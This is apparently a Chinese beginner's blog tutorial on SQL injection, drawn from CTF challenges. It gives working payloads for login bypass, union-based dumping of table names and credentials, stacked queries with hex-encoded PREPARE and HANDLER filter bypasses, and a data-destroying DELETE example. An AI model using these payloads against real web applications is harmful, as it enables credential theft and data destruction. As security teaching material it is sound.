SQL注入
一.前言
SQL注入(SQL Injection)是一种常见的Web安全漏洞,形成的主要原因是web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句。那什么是SQL了?结构化查询语言(Structured Query Language,缩写:SQL),是一种关系型数据库查询的标准编程语言,用于存取数据以及查询、更新、删除和管理关系型数据库(即SQL是一种数据库查询语言)
注入产生的原因是后台服务器在接收相关参数时未做好过滤直接带入到数据库中查询,导致可以拼接执行构造的SQL语句
SQL注入漏洞的本质为数据库层面的RCE
二.对于SQL注入漏洞的挖掘
由于现代浏览器比较完善,几乎不可能存在sql注入点(),因此以下所述均为做题中的体会(纯入门心得,有点问题请见谅doge)
1.可能的注入点
1). 搜索框,登录界面等,这些地方肯定是与数据库有数据交互的,所以我们可以优先观察存在传值或者查询的地方。
eg.buuctf 极客大挑战2019 EasySQL
2). 当没有明显搜索框等明显交互位置时,并不代表不存在sql漏洞,这时可以通过url进行传参。
eg.buuctf 极客大挑战2019 loveSQL &&Knife(后者虽然通常使用蚁剑来秒杀但是也可以用HackBar当成SQL做同样很快)
2.漏洞检测
1.get型
进行url编码
如果是在burp中测试payload需要先进行url编码,浏览器中则不需要;
不进行编码的话,也可以用+代替空格,#代替–+ 。 %23代表#,也是注释符。
2.post型
如果是post型的话,我们可以用上面的方法进行编码,或者使用+代替空格,也可以不使用,直接像在浏览器中探测一样。
三.常见的注入手法
首先我们应该判断知道其注入类型,SQL注入按照注入点类型分类可分为三种:
1.数字型注入
SQL中的语句格式:select * from users where id =x
判断方法:使用 1 and 1=1 ,1 and 1=2 来判断
当输入:and 1=1 时页面显示正常
select * from users where id =x and 1=1
输入:and 1=2 时页面显示异常
select * from users where id =x and 1=2
说明是数字型注入
2.字符型注入
SQL中的语句格式:select * from users where id =‘x’
判断方法:使用 1' and '1'='1 ,1' and '1'='2 来判断
当输入:1’ and ‘1’='1 时页面显示正常
select * from users where id ='x' and '1'='1'
输入:1’ and ‘1’='2 时页面显示异常
select * from users where id ='x' and '1'='2'
说明是字符型注入
3.搜索型注入
基于搜索框的注入
SQL中的语句格式:select * from database.table where users like '%要查询的关键字%'
判断方法:
某个商品名称%' and 1=1 and '%'=' (这个语句的功能就相当于普通SQL注入的 and 1=1)
select * from database.table where users like ‘%某个商品名称%’ and 1=1 and ‘%’=‘%’
页面显示正常
某个商品名称%' and 1=2 and '%'=' (这个语句的功能就相当于普通SQL注入的 and 1=2)
select * from database.table where users like ‘%某个商品名称%’ and 1=2 and ‘%’=‘%’
页面显示异常
根据上面的返回情况来判断是否存在搜索型注入
四.联合注入
联合注入是一种非常常用的注入方式,union select 开头的语句属于联合注入,联合注入的必要条件就是页面必须要有回显位,否则就应该考虑使用盲注(后面再展开说明)
这里我将总结部分比较常用的SQL注入语句:
首先我们先明确SQL注入的基本流程,在基础的SQL操作中通常有这样的尝试顺序:
1.先判断SQL注入类型;
2.判断闭合方式,查询字段,判断回显位;
3.爆库,爆表,爆列,爆内容。
另外,页面可能存在过滤,有时要综合考虑各种绕过方法,例如双写绕过,编码绕过等。
1).查找注入点
语句:
1 | 1' or 1 = 1# |
#可以用–+替换,有些情境#不能起作用QAQ
(这条万能语句常用于登录框之类的注入)
作用:是爆出表中的所有字段
举例:验证用户名和密码的语句
我们在这里做出简单的解释:
页面原sql
1 | $sql="select * from users where username='$name' and password='$pwd'"; |
在进行上述语句后变为
1 | $sql="select * from users where username='1' or 1 = 1#' and password='$pwd'"; |
#是注释符号,后面的内容被注释,or为或,两边一边为真就是真,由于右边1=1为真,故为真;
因此上述语句就等价于:
1 | select * from users where username='1' or 1 = 1 |
2).查询字段数
语句:
1 | 1' order by 数值--+ |
3).判断回显位
语句:
1 | -1’ union select 1,2,3--+ |
在上一步的查询字段数后我们知道了字段数,接着就根据字段数来判断,若之前找到的字段数为二,事例语句就应该改为
union select 1,2–+
4).爆破数据库名
关键:database()
根据回显位,在回显位输入所要内容对应的关键字。(例如回显位是 2,下面为事例)
语句:
1 | -1' union select 1,database(),3--+ |
5).爆破表格名
关键:
group_concat(table_name) from information_schema.tables where table_schema=database()
语句:
1 | -1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ |
简单注释一下:
-
1:第一个占位列,保持列数匹配
-
group_concat(table_name):核心攻击代码
group_concat():MySQL函数,将多行合并为一行table_name:从information_schema.tables获取表名
-
3:第三个占位列
-
information_schema:MySQL的系统数据库
-
tables:存储所有数据库表信息的元数据表
where table_schema=database()- table_schema:筛选当前数据库
- database():返回当前数据库名的函数
-
由上述事例可以看出,和爆破数据库名一样的思路,都是在回显位输入所要内容对应的关键字。
【注意:如果 information_schema 被过滤了,可以使用 sys】(QAQ没用过,本人也不懂emmmmmm)
1 | 1&&substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),1,1)='f' |
6).爆破表格字段
关键:
group_concat(column_name) from information_schema.columns where table_name=‘表格名’
语句:
1 | -1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='表格名'--+ |
7).获取字段值
关键:
group_concat(id,username,password) from geekuser
语句:
1 | -1' union select 1,group_concat(id,username,password),3 from 表格名--+ |
二)编插一嘴:报错注入
之前在尝试写一个登录注册留言板系统的时候遇到了一大堆数据库报错QAQ,然后发现这些报错都是详细到哪个文件的第几行,还给出了该文件的绝对路径emmmmmm。。。。。(绝对不是窝写的太拉吉了QAQ)
现在看到了报错注入的相关内容,遂加入。
首先:报错注入用在数据库的错误信息会回显在网页中的情况,如果联合查询不能使用,首选报错注入。
那么何为报错注入?
报错注入利用的是数据库的报错信息得到数据库的内容,这里需要构造语句让数据库报错。
原理支持
在mysql高版本(大于5.1版本)中添加了对XML文档进行查询和修改的函数:
updatexml()
extractvalue()
当这两个函数在执行时,如果出现xml文档路径错误就会产生报错。
三)编插一嘴:堆叠注入
eg.buuctf --[强网杯2019]随便注
这题的联合注入被过滤QAQ,因此采用堆叠注入。
1.定义
Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection
2. 原理
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
3.基本语句
以该题为例:
查询所有数据库:
1 | 1';show databases;# |
查询所有表:
1 | 1';show tables;# |
查询words表中所有列:
1 | 1';show columns from words;# |
查询1919810931114514表中所有列:
1 | 1';show columns from `1919810931114514`;# (字符串为表名操作时要加反引号) |
找到了flag的的列,下一步就是如何让他回显出来
EXP1:
我们知道正则匹配过滤了很多字符,但是没有过滤alert和rename
①先把words表改为word1
②再利用rename将1919810931114514这个表修改为word
③再将flag字段修改成id
1 | 1'; |
这段代码的意思是将words表名改为words1,1919810931114514表名改为words,将现在的words表中的flag列名改为id 然后用1' or 1=1 #得到flag
EXP2:
16进制编码绕过select 关键字
1 | select * from `1919810931114514` |
将上述语句进行16进制编码
1 | 1';sEt@a= 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @a;EXECUTE hacker;# |
EXP3:
采用预编译:
预编译相当于定一个语句相同,参数不通的Mysql模板,我们可以通过预编译的方式,绕过特定的字符过滤
格式:
1 | PREPARE 名称 FROM Sql语句 ? ; |
1 | 1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;# |
EXP4:
使用handle
- handle不是通用的SQL语句,是Mysql特有的,可以逐行浏览某个表中的数据,格式:
1 | 打开表: |
1 | 1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE; |
五.盲注
前面有提到,当页面不存在回显位时联合注入无法实现,该情况下我们可以考虑盲注~~(纯猜测)~~;
盲注是不能通过直接显示的途径来获取数据库信息。在盲注中,需要根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响应时间不同)
盲注分为两种:布尔盲注和时间盲注。
1.布尔盲注
后续补充
2.时间盲注
看我干嘛QAQ
后续会补充的(大概?
六.延时注入
参考文章:https://blog.csdn.net/2301_79218813/article/details/135090595
Leave a comment